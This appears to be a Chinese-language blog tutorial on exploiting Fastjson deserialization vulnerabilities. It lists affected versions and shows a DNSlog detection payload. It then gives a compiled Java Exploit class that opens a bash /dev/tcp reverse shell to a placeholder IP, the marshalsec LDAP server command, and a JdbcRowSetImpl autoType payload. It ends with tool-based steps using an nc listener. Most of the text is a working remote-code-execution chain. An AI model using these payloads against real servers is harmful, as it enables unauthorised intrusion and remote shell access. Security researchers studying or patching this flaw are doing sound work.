Fastjson反序列化漏洞
1.Fastjson介绍:Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串, 支持将Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。
2.历史漏洞
- Fastjson <=1.2.24 反序列化远程命令执行漏洞
- Fastjson <=1.2.41 反序列化远程命令执行漏洞
- Fastjson <=1.2.42 反序列化远程命令执行漏洞
- Fastjson <=1.2.43 反序列化远程命令执行漏洞
- Fastjson <=1.2.45 反序列化远程命令执行漏洞
- Fastjson <=1.2.47 反序列化远程命令执行漏洞
- Fastjson <=1.2.62 反序列化远程命令执行漏洞
- Fastjson <=1.2.66 反序列化远程命令执行漏洞
3.Fastjson反序列化漏洞:
- 1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的 类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
- 1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中, 攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
4.特征识别
- Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson

- Fastjson报错识别,若传输不完整的json数据,会返回一个报错数据包,里面可能包含一些敏感信息

- 利用dnslog识别Fastjson
{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}

5.Fastjson的利用
(1)Fastjson的利用(编译)
<1>新建Exploit.java
<2>然后cmd下执行:javac Exploit.java,就会生成一个class文件
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while readline; do $line 2>&5 >&5;done"}); InputStream is =p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line =reader.readLine()) != null){ System.out.println(line); } p.waitFor();is.close(); reader.close(); p.destroy();
}
public static void main(String[] args) throws Exception{ }
}
<3>把编译好的class文件传到外网系统中,可以访问验证一下是否开启,是否把class文 件放进入
项目地址:https://github.com/mbechler/marshalsec
<4>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的服务器IP:端口/#Exploit" 9999
执行攻击payload:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:9999/Exploit",
"autoCommit":true
}
}
(2)Fastjson的利用(反弹shell)


(3)比较简洁的Fastjson利用方法
<1>项目地址:https://github.com/Betsy0/fastjson_rce_tool
java -cp fastjson_tool.jar fastjson.HRMIServer 你的服务器IP地址 监听端口 "要执行的命令"
编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

<2>nc监听端口,并将生成的payload执行

Comments | NOTHING